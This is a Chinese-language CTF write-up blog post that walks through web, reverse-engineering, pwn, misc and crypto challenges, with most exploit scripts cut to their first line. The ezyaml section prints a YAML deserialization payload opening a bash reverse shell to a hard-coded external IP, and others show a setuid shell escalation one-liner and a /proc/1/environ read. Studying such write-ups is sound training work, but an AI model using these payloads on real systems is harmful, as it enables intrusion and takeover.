前言
当了一回小丑,努力的运维,想进个线下,结果线下不报销,然后给学院背刺了,一开始让我们打以为挺重视的,结果打进线下后来了一句:”最近学院资金不足,只有国家级才可以报销”。。当时人都懵逼了,哎麻了麻了就这样吧。。。。。图一乐
Web
D0n’t pl4y g4m3!!!
考点:PHP7.4.21源码泄露,反序列化
exp如下
1 |
|
不是很理解其中cheng和pro类有什么用,完全用不上,直接readfile去读文件就行了。
Ez_java
考点:java反序列化、freemaker模板注入
exp如下
1 | package com.ycbjava; |
CC1后半的动态代理触发htmlinvocationhanddler。然后就是get写文件覆盖index.ftl,payload参考https://www.cnblogs.com/escape-w/p/17326592.html
Ez_web
考点:ld.so.preload RCTF2022的trick
这一题首先进行一波脑电波的比对,看你知不知道上传的文件是在etc目录下,放出来这个hint就他妈烂了这题。
进行一个msfvenom的生成
然后捏,把这个文件上传了先
再跑回cmd执行任意命令,就劫持了LD_PRELOAD
Serpent
考点:jwt伪造、pickle绕过R的反序列化
源码
1 | from flask import Flask, session |
还有一段源码,在pickle界面抓包,响应头有hint
1 |
|
一眼把这个换到cookie反弹shell
1 | from flask import Flask, session |
提权
1 | python3.8 -c "import os;os.execl('/bin/sh','sh','-p')" |
ArkNights
非预期:/read?file=/proc/1/environ
ezyaml
考点:tar的zipslip文件覆盖,yaml反序列化
1 | import os |
我的万年脚本,记得保存文件架构为
exp目录的../../
也有一个config文件夹
1 | exp: !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/114.116.119.253/7777 <&1'"] |
然后上传后访问/src?username=1
就可以直接反弹shell,进行yaml反序列化
Reverse
CSGO
go逆向直接就动态调试拿表就行了。。。73913519-A0A6-5575-0F10-DDCBF50FA8CA
vm_wo
我擦,苹果
静态手撸吧
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
提取到密文:
1 | unsigned char ida_chars[] = |
指令好像写死了
1 | __int64 __fastcall myoperate(char *a1, int a2) |
手撸,发现加密很对称,写出解密脚本(异或和位移)
1 | if __name__ == '__main__': |
flag:
DASCTF{you_are_right_so_cool}
Ez加密器
通过------\nGetFlag!\n------
定位到sub_7FF798C240E0
分析如下
1 | __int64 sub_7FF798C240E0() |
可以知道程序先获取长度为6位的密钥和长度为40的flag,然后用自定义表base64编码密钥,接着DES加密
最后和Big_Numbers1_7FF798C250A0进行check
通过动调可知每次加密flag前都会在flag后带上不变的字符串88888888,且加密结果为1CA3C55D3A4D7BEA
据此可以通过爆破得到6位数字密钥key,然后用变表base64编码过的key去解Big_Numbers1_7FF798C250A0
还有一点就是Big_Numbers1_7FF798C250A0静态调试查看是混乱的动调可以获取到正确的
还有个小细节是动调的时候会检测输入的密钥是不是6位,flag有无DASCTF{}格式并且长度是否为40否则输入完会直接退出
1 | from Crypto.Cipher import DES |
Blast
ida Findcrypt插件看到MD5和好多个哈希值
定位到MD5加密函数,查看引用有两个
一个在main函数一个在sub_402370,发现main函数和sub_402370差不多且在main函数中调用了sub_402370
所以直接盲猜两次哈希MD5(MD5(data))
1 | enc = [ |
Pwn
risky_login
考点:异架构pwn、risc-v用Ghidra才支持反汇编
exp:
1 | from pwn import * |
shellcode
考点:只有十六个字节的shellcode,得绕之后再写
exp:
1 | from pwn import * |
easy_vm
巨简单的opcode,直接打ogg打exit_hook
1 | from pwn import * |
cookieBox
老版本的musl pwn
strings命令查到musl版本是1.1.24
看这个文章做的https://www.anquanke.com/post/id/202253。
利用UAF,伪造chunk获得任意地址写,再劫持stdout即可。
exp:
1 | #_*_coding:utf-8_*_ |
Misc
EZ_misc
发现图片的宽高是有问题的,CRC爆破一下,修改宽高,然后发现文件尾有一个压缩包,然后修改压缩包0304里面是feld文本,根据图片得到是Gronsfeld编码然后,是5位密码,vzbtrvplnnvphsqkxsiqibroou
还有这一段话
且文件有两个文件尾,推测是CVE-2023-28303,然后解码
TRYTOTHINKTHESNIPPINGTOOLS
给出了工具,然后
python gui.py得到flagCvE_1s_V3Ry_intEr3sting!!
Matryoshka
拿到img先放入DiskGenius,发现有一个encrypt且大小是20mb,然后还有一个压缩包以及一个图片,压缩包文件尾有一个jpg,两个图片一样,推测是盲水印,然后解出挂载密码watermark_is_fun
然后挂载得到一个文本发现是0宽
解出一个密码,然后文本先base32,然后维吉尼亚得到flagDASCTF{congratulati0n_you_f1nd_th3_f14g!!!}
ai和nia的交响曲
从流量包导出了所有东西,里面有压缩包,压缩包伪加密和零宽隐写,获取flag1@i_n1a_l0v3S_
顺路还有个hintBV1wW4y1R7Jv&&FLAG1:@i_n1a_l0v3S_
是个b站视频
然后题目给了一个hint
得到后半段CAOCAOGAIFAN
FLAG:@i_n1a_l0v3S_CAOCAOGAIFAN
GIFuck
义眼丁真鉴定为插了帧
gpt写的脚本哦
1 | from PIL import Image |
然后就是按照帧的长度去写一个脚本得到
1 | ++++[->++++<]>[->++++++<]>-[- |
Pen_Pineapple_Apple_Pen
Crypto
XOR贯穿始终
考点:RSA证书内容+异或
exp:
1 | from Crypto.Util.number import * |
Easy_3L
考点:格基约化+LCG参数恢复
exp:
1 | # sage运行 |
esyRSA
考点:连分数攻击
exp:
1 | n = 80642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373 |
MCeorpkpleer
考点:背包密码+已知p的高位Coppersmith攻击
exp:
1 | # sage |
SigninCrypto
考点:MT19937+异或+DES3
exp:
1 | from Crypto.Util.number import long_to_bytes, bytes_to_long |
Danger_RSA
考点:素数生成+多项式环
exp:
在网上找到一个类似题目的wp,就直接拿来用了。
1 | import gmpy2 |
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.